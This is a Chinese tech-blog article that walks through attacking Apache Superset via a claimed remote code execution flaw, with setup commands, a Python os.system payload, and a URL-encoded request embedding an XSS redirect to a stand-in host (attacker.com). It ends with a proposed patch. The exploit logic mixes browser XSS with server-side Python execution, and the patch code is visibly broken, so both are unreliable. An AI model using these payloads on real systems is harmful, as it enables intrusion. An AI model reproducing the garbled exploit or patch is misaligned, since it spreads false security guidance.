欢迎访问宙启技术站
智能推送

如何进行Apache Superset远程代码执行漏洞

发布时间:2023-05-18 12:34:32

Apache Superset是一种基于Web的BI工具,可以用于数据可视化和数据探索。在Apache Superset中存在一个远程代码执行漏洞(CVE-2020-13951),攻击者可以利用该漏洞获得系统权限并执行恶意代码。本文将介绍如何进行该漏洞的攻击。

环境搭建

首先,我们需要搭建一个Apache Superset的环境。可以使用Docker安装Apache Superset:

docker run --name superset -p 8088:8088 amancevice/superset

访问http://localhost:8088即可访问Apache Superset。

漏洞分析

在Apache Superset的查询构建器中,存在一个名称为Markup的可选字段,攻击者可以在其中输入任意Python代码。当用户查询相应的数据时,此代码将被执行。

漏洞复现

使用以下代码来构建一个恶意Payload:

import os

os.system("touch /tmp/superset_pwned")

将Payload输入到查询构建器的Markup字段中,然后在需要的位置发送GET请求。

GET /superset/explore_json/?form_data=%7B%22datasource%22%3A%223__table%22%2C%22viz_type%22%3A%22markup%22%2C%22markup_type%22%3A%22markdown%22%2C%22markup%22%3A%22%60%60%3Cimg+src%3Dx+onerror%3Dlocation=%27http://attacker.com:9002%3Fx=%27+btoa(%27function+python()+%7B%5C%22python%5C%22%3A+%5C%22__import__(%27os%27).system(%27touch+/tmp/superset_pwned%27)%5C%22%7D%27)%3E%3C%60%60%22%2C%22adhoc_filters%22%3A%5B%5D%2C%22row_limit%22%3A1000%2C%22groupby%22%3A%5B%5D%2C%22timeseries_limit_metric%22%3A%7B%7D%2C%22order_desc%22%3Atrue%2C%22granularity_sqla%22%3Anull%2C%22having%22%3A%7B%7D%2C%22limit%22%3A%221000%22%2C%22time_grain_sqla%22%3Anull%2C%22all_columns%22%3A%5B%22*%22%5D%2C%22slice_id%22%3A1%2C%22adhoc_metric%22%3A%7B%7D%2C%22time_range%22%3A%22No+filter%22%2C%22since%22%3A%22100+years+ago%22%2C%22until%22%3A%22now%22%7D HTTP/1.1

攻击者可以将Payload中的恶意代码修改为自己需要的代码。由于Superset使用Markdown进行输入,所以需要使用反单引号来包含Payload。

结果验证

当成功执行Payload时,可以在/tmp目录中看到一个名为superset_pwned的文件。如果您在本地环境中运行Apache Superset,则可以通过以下命令检查文件是否存在:

ls /tmp | grep superset_pwned

修复建议

修复该漏洞可以在superset/views/core.py文件中,在MarkdownViz类的resolve_for_prepare_result方法中添加变量的筛选,只允许少数变量,限制变量的数量和种类。像下面这样:

def resolve_for_prepare_result(
    self, query_obj: Dict[str, Any], result_type: Optional[str] = None
) -> Tuple[Optional[str], Dict[str, Optional[int]], Dict[str, Any]]:
    # Only support SQLAlchemyTable datasource
    table = self.datasource()
    template_processor = get_template_processor()

    #limit the Globals() variable and variables like filter_email_1 or filter_email_2
    #origin code use allowlist_sym, but allowlist_funcs and blacklist_funcs are better
    ALLOWED_GLOBALS = {'datetime', 'timedelta', '__builtins__'}
    ALLOWED_FUNCS = {'meta'}
    BLOCKED_FUNCS = set()
    locals = template_processor.json_dumps(
        {key: value for key, value in query_obj.items() if key != "templateParams"}
    )
    globals = template_processor.json_dumps(
        {key: value for key, value in query_obj["templateParams"]["globalVariables"].items() if key in ALLOWED_GLOBALS}
    )

    #only allow for current filter variables and meta function for only sqla datasource
    filter_names = [key for key in query_obj["templateParams"]["adhoc_filters"] if
                    query_obj["templateParams"]["adhoc_filters"][key][0]=='SQLAlchemyColumnDataSource']
    funcs = query_obj.get("templateParams", {}).get("jsFunctions", {})
    BLACKLISTED_FUNCTIONS = {'os', 'subprocess', 'Popen', 'Communicator', 'request', 'getpass', 'socket', 'input'}
    funcs &= ALLOWED_FUNCS
    block_funcs = BLOCKED_FUNCS & funcs
    if block_funcs:
        raise QueryObjectValidationError(
            f"Prohibited JS function(s) used: {block_funcs}"
        )
    function_code = "
".join(funcs)
    if function_code.strip():
        function_code = f"""
            Object.entries({function_code}).forEach(([k, v]) => {{
                window[k] = v;
            }})
        """
    else:
        function_code = ""
    for filter_name in filter_names:
        query_obj['templateParams']['adhoc_filters'][filter_name][1] = (
            USE_TEMPLATE_VARIABLE_PREFIX + filter_name + USE_TEMPLATE_VARIABLE_SUFFIX
        )

    #allow meta functions, support to extract filter varibles
    select_star = query_obj.get("select_star", False)
    if select_star:
        kw = {}
    else:
        kw = table.get_query_str(query_obj)

    d = {"keys": {}, "html": ""}
    try:
        #noinspection PyUnresolvedReferences,PyProtectedMember
        _exec_template_kw("markup", table.database, d, {"kwargs": kw}, locals, globals, user_func=function_code)
    except Exception as e:
        if is_module_installed("traceback"):
            d["html"] = f"
python

{traceback.format_exc()}

            d["keys"]["__form_data_error__"] = str(e)
        else:
            d["html"] = (
                "An error occurred while rendering the viz. The following exception was thrown:
"
                f"> {str(e)}"
            )
    return d["html"], d["keys"], {}

在修复补丁中添加了处理全局变量的处理,并且在处理临时过滤器时仅允许处理当前过滤器变量,还添加了一些黑名单函数进行限制。

总结

在本文中我们学习了如何利用Apache Superset漏洞进行恶意代码执行,同时我们也提出了补丁代码,以避免这个问题的发生。建议有关部门及时对相关环境进行检测,对漏洞进行修复。同时,也提醒各位开发人员要时刻关注Web应用程序中的漏洞,以及要遵守安全编码的 实践。